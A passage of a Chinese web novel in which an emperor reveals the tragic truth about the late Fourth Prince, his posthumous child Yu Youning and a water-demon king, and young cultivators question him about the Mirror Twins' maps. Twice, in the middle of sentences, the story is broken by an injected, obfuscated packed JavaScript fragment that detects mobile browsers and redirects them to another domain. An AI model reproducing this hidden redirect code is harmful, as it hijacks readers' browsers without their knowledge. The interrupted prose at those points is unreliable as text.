天盛微莫名觉得这段控诉有些耳熟,虽然一时想不起来,但很听不得有人如此污蔑她信赖尊敬的闰和帝,心下微微不快。 一直默默钳制着卫祈的侍卫统领闻言狠狠掼了他一下,呵斥道。 “卫祈!不得对陛下无礼!” 谁知这一声就像捅了马蜂窝,卫祈是不骂闰和帝了,反而转头言辞激烈的开始骂他。 “严肃!你在这儿装什么好人?你个狼心狗肺、恩将仇报的东西!你和这狗皇帝比起来也不遑多让!四皇子当年待你如同心腹,信赖非常!他在你将死之际救了你,可以说是恩重如山吧!你呢?你竟然在他离世后侍奉起他的仇人来?统领大人好生风光啊!呵呵,是我想岔了,焉知当年四皇子的离世和你有没有关系呢?” 名为严肃的侍卫统领只是默默听他发泄,听到最后,露出了想要辩解什么的样子,却最终闭上了嘴,移开视线一言不发。 谁又能想到此刻宛如仇人的两人,在多年前曾是最要好的挚友呢? 卫祈胡乱说了一通,堂中也安静的只有他声音的回响,在旁边跪着的庞庆华虽然一言不发,但眼神暴露了他也是同样的想法。 云修泽悄悄打量了下闰和帝的脸色,不知是身为帝王多年,沉浸的已经能够将喜怒藏于心中,还是说对于此事真的问心无愧,脸色竟然分毫未变,宛如卫祈骂的人跟他毫无关系一般。 闰和帝支着脑袋冷静的看着他,可他越是这样,卫祈就越是觉得憋闷,有一种拳头打在棉花上的无力感。 “那按照你这么说,你们当初拍下凤冠,也是为了推翻我?” 凤冠! 天盛微直到现在才突然想起这种熟悉感是从哪里而来,当时她抢夺凤冠之时,那人也是如此激动的说着大逆不道之言,原来他们同属一个组织。 看来他们忠于的是上一代四皇子,并且并不相信传扬出去的,四皇子死于重病的讣告,坚定的认为他是死于闰和帝之手。 抢夺凤冠还可以理解,但是他们又为什么要抓走幼宁? 难道...... 天盛微心中升起了一个离谱的猜测。 于将军和舅舅......? 她心中一乱,不敢再继续想下去。 卫祈没有回答他这个问题,只是渐渐冷静了下来,说道。 “四皇子是何等仁心,多少人都曾受过他的恩惠,他本可以名正言顺成为帝王,他也一定会是个真正的明主,可你毁了这一切,我不会说出那孩子的下落,你可以杀了我,但是就算我死了,以后也还是会有人不断的站出来,你的皇位来的不正当,你会遭天谴的。” 闰和帝抬了抬下巴,仍然不打算理会这可以诛九族的逆言,说道。 “把于幼宁交出来,我不追究你们的过失。” 这下连卫祈都开始为他的平静感到离谱,嗤笑道。 “我们日理万机的陛下啊,你为了一个小子出动了禁军,甚至亲自来捉我,跟我要人,说起来,那小子好像跟你有几分相似,莫不成他是你和这个女将军的私生子哈哈哈哈!!!” 严肃像是真的有点生气了,绷着脸一把将他压在地上,卫祈的头贴着地连抬都抬不起来,可他丝毫不在意。 闰和帝闻言,居然走到他面前蹲了下来,垂眼看他,似乎暗含了几分悲悯。 “幼宁那孩子是与我有几分相似,但是他更像谁,你真的不知道吗?” 卫祈沉默了,他当然知道,不然也不会救下重伤垂危的他,还四处为他重金求医。 闰和帝又说。 “你可知为什么皇兄的遗物中有一顶违制的凤冠吗?你既然拿到了它,就应该知道它上面有皇兄的私印,那是他在监国期间命工匠赶制。” 卫祈虽然还不明白他说的究竟是什么意思,但是已经隐隐有了预感,眼中多了几分茫然忐忑,还尽量维持着声音的平稳。 “......所以呢?你想说什么?” 闰和帝站起来背过了身,在场的所有人都无法看见他脸上究竟是什么样的表情。 “当年如无意外,皇兄就一定会登基成为新帝,凤冠,是他为准备迎娶的皇后所造。” 卫祈嘴唇嗫嗫,说出来的话也不再那么有底气。 “那我们就更不会让凤冠落入你的手中.......” 可闰和帝接下来的话就如同一道惊雷,瞬间劈的他神魂溃散。 “皇兄去世前,他准备迎娶的皇后腹中,就已经有了他的骨肉。” 卫祈心中的猜测被证实,他睁大的双眼似乎在这一刹那间失去了眨眼的能力,木木的不知瞪着何处。 众人的目光一下集中到了于商楹身上。 天盛微猛然之下听到了以前未曾知晓的皇室秘闻,知道幼宁并非舅舅的私生子,松了一口气的同时又忍不住紧张,她的父亲母亲不知道是不是也知道这件事。 云修泽则想的更复杂一些,除了对幼宁的身份感到意外,更多的疑点被他放在了镜双子身上,镜双子当年曾和皇室扯上关系,这件事情既然有隐情,那是否又能和他们串联在一起? 于商楹平静的站在那里,无视所有投射在她身上的目光,她永远问心无愧。 严肃感到手下卫祈的身体似乎在微微颤抖,侧头一看,发现他竟然咬牙默默淌着泪,眼睛布满血丝还一直瞪着,眉毛也皱成一团,哭的很丑,无意识的叫着他的名字。 “严肃、严肃......四殿下留、留下了一个孩子,呜......他还有一个遗腹子呃......” 他的声音断断续续,短促又让人窒息,严肃顿时心中泛酸,他又何曾见过他这个样子。 闰和帝没有说话,等他情绪平复了一些才说道。 “你既然知道了他是谁,就快些把他交回来。” 可卫祈看他的眼神还是透露着警惕,知道幼宁是谁,也并不代表他对眼前这个皇帝的猜测是错的,他仍然对他抱有不信任的态度。 幼宁既然是前朝皇子的遗腹子,生母又是兵权在握的大将军,难保他不会将幼宁视为眼中钉肉中刺,没准于商楹就是为了保护幼宁的安危,一直在被他胁迫。 卫祈虽然一言未发,但明显仍然不愿意说出幼宁的下落。 闰和帝终于开始觉得头疼起来,他不愿对卫祈下重手,可现在想要他态度软化,又 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一切都是秘密进行,皇子皇女,包括后妃无一人知晓。 圣女本拥有水族圣物相护,就算失去妖丹,也不至于丢了性命,左右不过是重修。 然而没想到的是,她在那时已经有了身孕,玄武帝剖丹,直接将她与她腹中胎儿一并害死。 剖出来的妖丹也染上了怨念,玄武帝服下后便立时三刻暴毙而亡。 等四皇子闻讯赶去之时已经无力回天,他收拢了一缕圣女的魂魄,又用温养的灵玉和冰棺保存了圣女的肉身,才不至于让她魂飞魄散。 以当时的时局,若是帝王忽然驾崩的消息传出去,立马就会大乱,四皇子无法,只能假称玄武帝病重。 那时玄武帝的六个皇子中,就只有四皇子和六皇子还活着,剩下的不是已经薨世就是下落不明,六皇子年幼,四皇子便顺理成章的监国,代行天子之职。 四皇子手段高明,同时又十分有决断的魄力,不过半年便将国事打理的一清二楚,剩下的就是报知国丧再登新帝。 一切都井然有序的进行着,可就在他即将登基的最后一个月,意外降临了。 玄武帝之所以能够那么轻易的抓到水族圣女,正是因为当时水族刚刚经历了一场大战,剩下的族人寥寥无几,已经有了绝种灭族的迹象。 而圣女作为他们最后的希望,却死于他们的父皇之手,四皇子也只能尽力弥补一二,一直在派人寻找他们剩余的族人,希望将圣女的身体还给他们,然而一直未曾找到。 本以为他们是真的消失于世了,可直到四皇子登基前的最后一段时间,才突然又传出了他们的消息。 原来他们并没有如世人所想的那般消失,只是散乱狼狈的分布在各地,圣女被抓走,圣女的伴侣也重伤昏迷,没有妖能站出来主持大局。 可当她的伴侣醒来,得知圣女已死的消息,就开始疯狂寻回各地的族人,带着所剩不多的他们四处征战,一改之前不接受其他种族加入的规矩,居然在极短的时间内将原有的势力扩大了无数倍,几乎可以说是统一了水族。 他在水族称王,第一件事,便是来寻仇。 虽然罪魁祸首玄武帝已死,但仍然难消他心头之恨,欲要覆灭整个皇族再水淹大陆。 然而四皇子却保留下了圣女的最后一缕魂魄和肉身,以此作为交换,希望他能高抬贵手,那时各处都在休养生息,已经无力再历经一场磨难,若在此刻失去君主,便会重新陷入动荡。 他同意了,他同意留下一位君主,甚至可以放过他已经嫁为人妇的皇妹,但剩余的皇族直系血脉必须赴死,并且谢氏皇族要从正史上被彻底抹杀,他再称帝,也必须改姓,修改族谱,否则便会水淹计都! 剩余的皇室直系血脉,那便是年幼不受宠,且从未参与过政事的六皇子。 他并没有指名道姓必须要谁赴死,便是故意留给他的选择,看看在生死抉择之时,他又是否会露出人族丑恶的面孔。 两天后,四皇子自戕。 91. 疑相七 “而我直到皇兄死后,才知道整件事情的原委。” 闰和帝语气毫无波澜的讲完了皇室秘辛,屋中一片寂静。 唐思月表情不太好看,侧过了头,看到行愿不知何时换上了一张连眼睛都没露出来的纯白面具。 时间已经过去了很久,但是血液好像仍然滚烫,猛得溅出来,避之不及者依然被它所伤。 天盛微自从有记忆以来,皇族、自己以及兄长的姓氏都是天,从没有想过竟然还经历过这样的变革。 先朝四皇子,之前她每次听闻时,心中都毫无波澜,皇家高高在上,却也向来残酷,就算他是真的是死于闰和帝之手,也不过是又一笔夺嫡之路的血痕。 可事实居然是这样,竟然是这样....... 自戕......这几乎不像是一个从皇家长大的皇子会做的决定。 忽然,天盛微的脑中灵光一现,想起了兄长留下的那封信中,被反复提及的‘他’,以及那个‘最好的决定’。 这明明是毫无根据的联想,可她的直觉却叫嚣着这就是真相。 天盛微控制不住后退了半步,指尖微抖,被察觉到她异样的云修泽收入了手中。 他关切的望着她,她的脑中却一团乱麻,如果这就是真相,那么那封信所有的细节都能被一一对上,曾经所求的真相似乎已经将所有的线索摆放在了棋盘之上,等待着执棋的人将对手的棋路看透。 所以,兄长曾经被牵扯到过这件事情中吗? 所以,他才接触到了镜双子吗? 那镜双子又在其中扮演了什么样的角色? 脑中的疑问纷杂不堪,她不知道她的眼睛究竟传递了什么样的讯息,换来了云修泽紧扣的手,还有那种充斥着‘没关系,我在这里。’的安静的眼神。 意料之外,也是意料之中,天盛微的心一下就安定了下来。 可是对闰和帝的话反应最大的却不是她,而是堂中跪着的卫祈和庞庆华。 卫祈觉得今日就像经历了一场浩大的雷阵雨,只在得知四皇子还有一个遗腹子在世的时候短暂停歇了片刻,然后又无情残酷的将他淋的血肉狼藉。 他仍然无法轻易的信任闰和帝,如果这一切都是真的,那么他这十几年的恨,无数同伴为了推翻他所做的努力,又算什么呢? 他不想承认。 他看向严肃,那个眼神就好像是在希望他能够否认这看似荒诞的真相,可又说不清道不明的带了点儿微弱的期待。 如果这是真的,那么四殿下至少不是死于最冷血无情的背叛...... 严肃不敢看他,闷声多添了几句。 “我......我当时在他身边,他在那两天,整理了手下所有的势力,为我们做了安排,命我们暗中辅佐陛下,等平定天下之后,再想做什么,便由我们自己去留,我还是想在这里守着。” 这话仿佛成了刺向卫祈的尖刀,他又惶惶去看于商楹,她的脸紧绷着,不带丝毫起伏的说道。 “看我做什么?你的四殿下就是一个混蛋,都决定抛下我去死了,竟然还敢大摇大摆的来找我道别,他就是算定了我不会抛下一切随他离去。” 于商楹侧脸垂眸,把手背到了身后。 “若不是我察觉不对逼问不休,强行留了他一夜,恐怕他什么都不打算留给我。” 停了一下,她又冷声骂道。 “他就是个不折不扣的混蛋!” 连她都这么说了,那闰和帝恐怕真的不是在骗他们。 卫祈已经被放开,他不可置信的摇了摇头,无力的跌坐在地上,忽然又一把爬起来揪住了严肃的衣领。 “那么多年,你为什么不告诉我?看着我自我感动很可笑吗?你们为什么不告诉我?!” 就从他们今天这么轻易就找到他来看,闰和帝和严肃应该早就知道繁危楼的主人是谁,却一直放任着他。 卫祈逐渐变得癫狂,出口的话也不再是对着严肃,而是开始自己崩溃。 “为什么!殿下安排了他手下所有的势力!我们呢?我们呢!就算我们几个当时不在计都,那为什么连封书信都不肯留给我们!” 他捂着脸呜呜哭起来。 “我们被蒙在鼓里将近二十年啊......殿下为何如此狠心?” 严肃露出不忍的神情,低声解释道。 “你们几个本就孤苦,性子又纯良,当时离开计都,在外地也都有了安身立命的本钱,可以幸福的安稳度日,殿下不愿再将你们牵扯进来,他虽然不知自己最后的讣告是什么样的,只觉得让你们真的那样以为也不错,殿下说,往后每年,你们记得给他上柱清香他就心满意足了。” “呵呵......清香......” 卫祈低嘲,对闰和帝说道。 “......六殿下,您呢?您早就知道我这些年干了些什么吧?我给您找了那么多麻烦,您又为什么不告诉我呢?” 闰和帝已经重新坐了回去,手中端着茶,却始终没有送入口中。 “首先,这是知道的人越少越好的秘辛,其次......” 闰和帝叹道。 “你们能不忘皇兄恩德,我是感激的,我纵容你们在不伤害民本的情况下扩张势力,找麻烦无所谓,你们不知道真相,总需要一个宣泄口,只是你们已经对皇兄唯一的孩子造成了影响,我不得不管。” 他又一次问道。 “幼宁究竟在哪?你们又为什么要掳走他?” 卫祈不再隐瞒,语气不稳的回道。 “小公子在我的别院中,设了阵法,别人进不去,他受了重伤,我还在想办法医治他......” 闰和帝追问他是如何受的伤,可是卫祈还没从打击中缓过来,几次尝试张口也没能发出声音,反而是好不容易止住的泪又先一步落了下来。 庞庆华比他稍好一些,见他这个样子,就替他解释道。 “我们有一个同伴曾经长时间跟在四皇子身边做事,不久前,他和另外两个人外出路过森阳,被妖族误抓了起来,一时无法逃脱,便留在那里等待时机。” 他们本来伪装的毫无破绽,潜伏在一群人质之中,然而有一天妖族却抓来了一个小公子,曾跟在四皇子身边的那个人一见他就瞠目咋舌。 实在是太像了,像的让他心惊。 他不由自主去跟他套近乎,细细问了他的年龄生辰,越问越激动,竟然全都能对上他的旧主。 然而小公子却并不是一个人被抓来的,还有一个随行的老汉,一直对他们自称是这小公子的父亲,他们也就暂时歇了这个心思。 后来假死得以脱身,知道那小公子并不是普通百姓,而是前来支援的军队中的人,于是又重燃了希望。 他将这个消息报到了卫祈面前,卫祈自然不信,他却苦苦请求一定要他和小公子见上一面,于是卫祈无奈派了人前去寻找。 到了森阳关却被告知他们已经离开,不肯放弃便一路追寻着,正好碰见小公子带着两个护卫正被几个水妖围攻。 两个护卫已经身亡,小公子也身受重伤,他们似乎是想将小公子掳走,逼迫他交出某样东西。 眼见小公子的性命垂危,他们也当即出了手,他们去的人不多,但是都是一等一的好手,不多时便将那几个水妖打走。 那时的小公子已经陷入了昏迷,他们将他带回来寻医问诊,卫祈见到也终于有了几分动摇,任手下的人将他放在最隐秘的结界中,一边为他求医,还一边调了人去查他的身份。 只不过在查到之前就被闰和帝先一步抓了起来。 卫祈好了很多,只是情绪还有些低迷。 “小公子只模糊醒来过一两次。” 顿了顿,他又朝闰和帝说道。 “那群水妖不知道为了什么攻击小公子,既然曾经有过这样的纠葛,也许他们已经知道了小公子的身份,要赶尽杀绝,还望您提高警惕。” 在场的人听了他这一番话却心思各异,闰和帝思忖片刻,并没有正面回答这个问题,只是说道。 “朕知道了,无论何事,先把幼宁接回来,你让你的人带路,朕会将宫中的太医派去。” 卫祈低了低头,离去前在于商楹身侧停下,躬身行了个礼。 “我等会将凤冠一并归还于您,殿下之珍爱,万望您不要误解。” 于商楹冷眼看着他,过了片刻,眼神才有所松动,将他扶了起来。 “我明白......我明白。” 卫祈和庞庆华互相搀扶着离去,闰和帝摆了摆手,吩咐他们也一行离去。 于商楹干脆告退,云修泽和天盛微却还有疑问未解。 剩下三人见他们不动,也没什么皇令不可违的意识,一齐在这里站起了桩子。 今日被迫回顾了一遍不堪的过往,闰和帝本就有些心累,见到几个年轻人还直愣愣的站在那里,明显还有话说的模样,不由得更加头疼。 “你们还有何事?” 云修泽和天盛微对视一眼,问道。 “敢问陛下,那圣女的伴侣可是闻潺?” 闰和帝揉着脑袋的手一顿,抬眼看来。 “是他,你们是如何知道?” 云修泽简单解释道。 “他也在寻找镜双子的下落,我们有过几次交锋。” 闰和帝皱了皱眉,自言自语的低喃。 “他为什么要找他们?” “舅舅。” 天盛微在他身边蹲下,抬头看着他。 “我兄长和当年四皇子的事有关系对吧,究竟是怎么回事?您知道他现在在哪儿吗?” 闰和帝放松了些神情,揉着她的脑袋说。 “恩垚的下落舅舅并不清楚,也无权替他告诉你发生了什么事,你总能见到他的,到时相信他会自己告诉你。” 天盛微有些低落,但是没再追问。 云修泽突然问道。 “陛下,幼宁身上可是有镜双子其中的一份地图吗?” 闰和帝挑眉,有点意外的看向他。 “怎么这么想?” 于是云修泽将自己的猜测说出来。 “闻潺当年既然能顾念着四皇子收敛肉身的恩情,同意留下一个皇子皇女,那专门派人来对他的遗腹子赶尽杀绝的可能性就不大,更何况水妖近年活跃在陆地上,基本都是为了镜双子的地图,计都又好巧不巧有关于它们的消息,种种结合,自然是他身上带着地图的可能性更大。” 闰和帝笑了笑,打消了原本想要搪塞过去的念头。 “你猜的不错,不过真正的地图却并不在幼宁身上。” 这其实是闰和帝和幼宁做的一个小小的交易。 他同意幼宁随军去森阳,而幼宁则要将计都有镜双子地图的消息和商会合作,散播出去。 “那群水妖估计也猜到了商会只是个障眼法,这才一路追查到了幼宁身上,是朕疏忽,险些让那孩子丢了性命。” 说完,他站起身看向云修泽,似乎收敛起了刚才袒露出的情绪,又重新变回了那个难以捉摸的帝王。 “云家的公子是吧,朕还有要事在身,不能在这里久待,朕只给你三次提问的机会,记得想清楚再说。” 云修泽没有丝毫犹豫。 “水族的领地在哪里?” 易水和扶海漫无边际,既然他们迟早有一天要对上闻潺,就必须要知道究竟去哪里才能找到他。 云修泽看着眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16408400|177559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前这个在群狼环伺下坐稳了皇位的帝王,既然曾有过这样的过往,他就不信这个人会对水族毫无防备。 闰和帝立刻就意识到他想干什么,警告道。 “易水之中,水域宽广,水妖又数以万计,你们敢闯,吃亏的就绝对是你们,生还的可能性很小,朕劝你最好歇了这个心思。” “陛下,闻潺手中有一份地图,我们迟早要对上,主动总比被动有优势许多。” 闰和帝不再说话,云修泽意识到短时间内无法轻易将他说服,于是暂时将这个答案搁到了后面。 “镜双子当年在皇城中究竟扮演了什么样的角色?” 这个问题问的很聪明,闰和帝斟酌片刻,说道。 “他们当年阴差阳错和四皇子相交,又被当时十分兴盛的唐氏一族迫害,不得不待在皇城中,但在整件事情中,还是处于旁观者的位置,轻易不会插手。” 唐氏一族...... 众人看向唐思月,唐思月似乎并不知道这件事情,蹙眉说道。 “唐族之前的确十分兴盛,只是不知什么原因没落了下来,我曾好奇过,但父亲并不与我谈这件事,也不让我接触族中典籍,所以我也并不明白。” 云修泽心绪转动,暂时放过,以后再说,看向闰和帝问出了最后一个问题。 “镜双子,是不是都还活着?” 这个问题他必须确认,当时柳恒舜说遇见了镜双子,可他被下了禁言令,从头到尾也没有明确说明遇见的是两个人,云修泽也许多虑了,可是万一就是他给的暗示呢? 他死死盯着闰和帝,这个举动很冒犯,闰和帝脸色淡了不少,少顷,答道。 “他们之间,向来生随死殉。” 这是真正认识他们的人之间的共识,毫无疑问,确定无疑。 那就是都活着了。 云修泽还想知道地图究竟从哪里来,又为什么会到他们手上,可是闰和帝不再回答。 在他走前,云修泽斗胆道。 “陛下,不知您手中的那份地图可能交给我们?” 闰和帝反问。 “你们为什么要收集地图?” 云修泽实话实说。 “一开始是家族给我的历练任务,现在我想帮盛微和思月找到她们需要的线索,而且我也想知道事情的真相,所以即使家族取消这个任务,我也不会放弃。” 闰和帝似乎对他的答案还算满意,但是还是打击他道。 “现在虽然没有以前那么乱了,但也只是相对来说,你们身上带着镜双子的地图,很容易就会招来别人的觊觎,无论是被动还是主动,你们都会陷入无休止的战斗,你的家族给了你一个这么凶险的任务,你确定他们是想历练你,而不是想要借此除掉你吗?” 云修泽还没说什么,云修云就先一步皱起了眉头,不悦之情尽显。 云修泽很肯定的答道。 “这就是一个历练,父亲母亲显然相信我能做到,我走到现在,不正是有力的证明?” 闰和帝眼神愉悦,身为帝王,永远都想要把握着主动权,既然有了一个地图,就定然想要将所有的地图收入囊中。 他交给于幼宁这个任务,一是为了锻炼他,二是为了将所有对地图有野心的人聚集到一处,他们手上纵然没有其他几份地图,也定然会有一两个地图的消息。 至于现在...... “年轻人有闯劲,既然青儿跟你们在一处,朕这个当舅舅的也自然不会吝啬,你们放心,这份地图会在合适的时候送到你们的手上,好了,朕真的还有事,你们赶紧退下吧。” 云修泽几人不再纠缠,告退后就回到了将军府。 卫祈的动作很快,幼宁和凤冠都已经送了回来,太医也已经到了,听于商楹说正在幼宁的屋中看诊。 他们和于商楹找了个闲处坐下来,云修泽问道。 “幼宁可知道他自己的身世吗?” 于商楹满不在意的笑了笑,说道。 “那孩子自小聪慧,又得了陛下特许可以随意进出皇宫的藏书阁,虽说前朝的书都毁的差不多了,但肯定还有蛛丝马迹,我从未告诉过他,他也没问过我他父亲是谁,想来是知道一二的。” 幼宁既然已经找回来了,于商楹就又是一副大大咧咧的模样,仿佛知不知道都无所谓,云修泽有时会对这种心态感到好奇。 云修云在一旁问道。 “他的伤势怎么样了?不是说很严重吗?” “他身体底子弱,那伤要是放我身上早就醒了,不过终究是水妖伤的,太医不一定能看好,思月你一会儿给他看看吧。” 唐思月当然不会不同意,并且决定现在就去,拒绝一堆人跟着她进去要求,将他们赶到了别院。 于商楹之前说要留他们在这里住,自然也准备好了房间,现在云修泽几人见实在没他们什么事儿了,就纷纷告辞离去。 他们就在将军府住了几日,这一天,云修泽和天盛微不知去了哪里,唐思月在自己的院中配药,行愿在她身边守着,暂时无事可做的云修云就到处逛了逛。 他走到幼宁的院落附近,正好赶上一个太医问诊出来,于是连忙拦住问起了幼宁的情况。 太医说已无大碍,而且人已经清醒,若是放心不下,可以前去探望,他还要将此事回禀给陛下和将军。 云修云一听幼宁醒了,那还管他去哪儿,当即就抛下他进了院中。 人还没进屋,就率先扯着声音喊道。 “幼宁!幼宁!你个菜鸡终于醒了?睡了这么多......” 他一边喊一边推开门大咧咧的走进去,几息过后,一声崩溃的惊呼就震飞了树上无辜停留的鸟兽,霎时间就叫它们四散而逃! 92. 疑相八 云修云落荒而逃、夺门而出。 他的背紧贴着门,胸膛宛如经历了一场大战般剧烈的起伏,脸不知是气的还是羞的,红成了一片。 手指紧扣着门框,气急败坏又语无伦次的嚷道。 “你!你你你!你怎么是、怎么、怎么不把衣服穿好!!!光天化日!道德败坏!!!” 于幼宁在屋内又好气又好笑,明明是这人连门都不敲一下就闯进来,居然还倒打一耙。 他一边弄好身上的衣服,一边招呼让他进来。 云修云进来是进来了,只是却欲盖弥彰的捂着眼睛,像个什么似的摸索着放下了他的床帐,然后手不是手脚不是脚的踟蹰了半天,最终也没坐下,愣巴巴的站在原地,仿佛下一瞬就能拔腿逃跑。 于幼宁:(?_?) 防贼都不带这么防的,这外人看来,不知道究竟谁才是怕污清誉的大小姐。 他无语又恶劣的一下将刚放下来的床帐重新拨开,赶在他跳脚前,半强迫的安抚道。 “我衣服已经穿好了,你再敢跑出去嚷嚷的话,我可就喊人了。” 云修云刚迈出去一半的脚默默收了回来。 他还没缓过来,头晕目眩的,从未感到这么玄幻,屋中没有别人,他就小声嘀咕。 “你......你是个姑娘?莫不成我看错了?还是进了什么幻阵?” 他越说越觉得有这个可能,居然还真想去找找怎么破阵。 于幼宁冷酷无情的把他拉回现实。 “想什么呢?将军府哪来的幻阵,你没看错,我的确是个女的。” 没错,此她非彼他,是个不折不扣的女儿身。 云修云晃了晃,扶着桌子慢慢坐下来,开始怀疑人生。 是了,幼宁本就长得像个姑娘,名字也像,身上再脏也要自己找个有遮挡的地方洗漱,他本以为就是他穷讲究,没想到居然是因为这个。 知道了他是她,云修云说话也开始变得不自在起来。 他挠了挠头。 “你......将军知道你是女儿身吗?” 幼宁白了他一眼。 “你这不是废话吗?” 云修云瘪嘴,也不像往常一样顶回去了,换了个问题继续问。 “那你为什么要女扮男装啊?” 幼宁不甚在意的说。 “母亲独自生下我,父亲不明,她也不愿嫁或者纳个夫郎,本来就有非议,更何况我不能习武,没有父母的惊才绝艳,若不在成长起来之前扮作男儿身,我母亲想保我,肯定就要应付更多乱七八糟的人,这样最省力罢了。” 云修云啊了一声,追问道。 “那你以后要一直这样吗?” 幼宁叹道。 “怎么可能,听我一句劝,脑袋空不要紧,就是千万别进水。” 云修云还是忍不住怼了回去,两人你一言我一语,逐渐找回了好友时期的熟稔。 云修云终于不再那么紧绷,接受了好兄弟一朝变为美娇娘的事实。 “我不懂你们贵族的事,只是你什么样才算是成长起来啊?” 幼宁说。 “至少要超过父母,拥有更多的话语权。” “你知道你父亲是谁?” 幼宁撇了他一眼。 “你知道?” 云修云满脸写着‘我知道’,嘴硬道。 “我怎么会知道?” 幼宁早就从太医的三言两语中推测出了事情大致的经过,见到云修云这个反应更是肯定了心中的猜想,没有理会他的欲盖弥彰,自顾自说道。 “府中离我母亲最远的一间房内,有一个灵台,还有一幅男子的画像,她不去,也不许我去,可我偷偷见过。” 云修云摸了摸头,明白她的未尽之言,想要安慰两句,又不知道该说点什么。 幼宁见他又开始抓耳挠腮的想说话,被逗得乐了一下。 “行了,我早就不在意了,你哥他们呢?怎么就你一个?” 云修云刚想回答,房间的门就被人从外面推开,然后于商楹带着唐思月和行愿走进来。 于商楹见云修云在这儿,摆摆手让他不必见礼。 “听说泱泱醒了,我们来看看,没打扰你们说话吧?” 泱泱,云修云还是因为这个叫法感到一丝别扭,一边摆手说着没有没有,一边有点紧张的往于幼宁身前站了站。 她刚刚醒来,没做伪装,女子的特征十分明显,他不确定她是否需要掩饰一二,只是下意识地这么干了。 幼宁刚开始还有点疑惑,见到唐思月和行愿后就明白了他的意图,好笑的看着唐思月视若无物的饶过他,在他惊诧的目光下坐到了床榻边,自然而然的为她把脉。 云修云愣了一会儿,见于商楹悠哉的喝茶,于幼宁也没什么太大的反应后,才有些了然的摸了摸头。 “思月......你...你早就知道幼宁是女子?” 唐思月笑道:“我为她治伤,焉能不知?” 云修云点了点头,将目光移到了行愿身上。 行愿顿了顿,很给面子的说道。 “我是刚刚知道的。” 云修云满意了,唐思月在一旁问道。 “盛微他们俩呢?我还以为跟你在一起呢。” 云修云:“我也不知道啊,今天没看到他们两个。” 几人面面相觑,皆是一头雾水。 此时被他们念叨的云修泽和天盛微正待在皇宫中,这已经不是他们第一次前来觐见闰和帝了,只是闰和帝国务繁忙,没能抽出空来见他们,只是将他们丢给了严肃,不过云修泽还是怀疑他只是不愿让他们去易水而懒得应付他们。 但是有严肃在也是好的,云修泽准备套套话。 然而失策的是,严肃居然是云修泽少数的不擅长应付的人,他这个人嘴很严,又稍显木讷,能做到禁卫统领,应该一部分来源于闰和帝的提拔,一部分就是因为他不懂变通的忠诚。 他分不清哪些该说,哪些不该说,干脆就一竿子全打死在嘴里,只说闰和帝曾经说过的事,无论云修泽怎么不着痕迹的试探,他就是能敏锐的察觉到一切话头然后开始闭嘴装雕像,导致云修泽现在一见他就能感受到那种罕见的挫败,脸都恨不得皱起来,惹得天盛微都忍不住有了几分笑意。 不过好在今天是闰和帝亲自见他们。 他们等在栖安堂,先来的却并不是闰和帝,而是一个看着级别就不低的女使,她冲两人伏了伏身,柔声道。 “奴婢墨湘,是皇后娘娘宫中的人,皇后娘娘听闻郡主在此,特遣奴婢来邀郡主到宫中小坐叙话。” 天盛微看了眼云修泽,云修泽思索片刻,慢慢点了点头,轻声说道。 “去吧,我一个人没事的。” 皇后相邀,不去的确不大好。 天盛微跟着女使离开,不多时,闰和帝便来了,见到这里只有云修泽独自一人也并不感到意外。 云修泽心知肚明就是他故意支开的天盛微,要和自己单独谈话。 说实话,闰和帝的笑容通常很温和,就像是很亲近也没什么架子的长辈,但云修泽可不会真的那么认为,实际上,他是他遇到的最深不可测的一个。 央玉之类,再如何强悍和全知,身上终归会带着修士特有的纯粹,闰和帝则不同,他所有的压迫感,都来源于攸关性命的尔虞我诈,长年浸淫,早已看不出他的底色。 以前曾有人叫云修泽笑面虎,但其实这个词拿来形容闰和帝才更加贴切。 此时天盛微不在,那种属于高高在上的帝王的审视就变得更加明显。 云修泽这次没有再直视他的眼睛,而是谦卑的低头喊了一声陛下。 “云公子,你想见朕,可是有什么事要说吗?” 不管彼此是否清楚这次谈话的重点,该走的流程还是不会省略。 云修泽拱了拱手。 “您说过会回答我三个问题,此行就是特来请教陛下水妖闻潺的具体位置。” 只说要回答,又没说答案一定就是真的。 闰和帝张嘴就想瞎编,被云修泽抢先一步。 “君无戏言!” 他放慢了语速,不紧不慢的说道。 “听闻陛下向来一言九鼎。” 闰和帝难得被人噎回来,倒也没有生气,手指轻点着桌面,半晌,问道。 “年轻人,你知道若是去的话,你们会面对什么吗?不单说闻潺,就说海,你知道海有多大吗?里面究竟会孕育多少水妖,它们的实力有多深不可测,你心中有数吗?” 云修泽当然想过,他也从未失去对海洋的敬畏之心。 “我知道,请陛下放心,我们也并不打算硬闯,毕竟最终目的还是为了得到地图。” “不打算硬闯?那你准备怎么做?” 云修泽胆子很大。 “总要先知道位置再做打算。” 闰和帝不置可否的挑了挑眉,垂下眼睛喝茶,问题却愈发尖锐。 “好,就算你们能顺利拿到闻潺手中的地图,朕的这份也给你们,你们顺利集齐,然后找到镜双子,那之后呢?你就那么肯定可以从他们手中得到你想要的东西?你能保证你们所有的人都能在他们手中活下来?” 云修泽眼神定了定,沉默了半晌,问道。 “陛下,在此之前,谁能想到我们初出茅庐就能拿到大比的魁首,谁又能想到,我们能在雾面影几乎举族的围城中保下森阳关呢?” 至于如何活下来...... “陛下,我斗胆问您一个问题,您应该是见过,甚至于是熟悉镜双子的,他们在您心中是什么样的人?” 闰和帝并不打算认真回答这个问题,然而却并不可避免的被他的话勾起了回忆。 若说那两人究竟是什么样的人,他其实也很难定义,他们给他的初印象其实和世人说的不同,是一种阴鸷又偏执的感觉,所以有很长一段时间,他都不太敢靠近他们。 除了那被世人夸张誉为天灾级别的美貌,还有那标志性张扬胜火的红衣,其实他后来还渐渐了解到了一些其他的东西。 脆弱、强大、自由、依赖和信任。 他们成功将一些复杂而又矛盾的特质融合在了自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 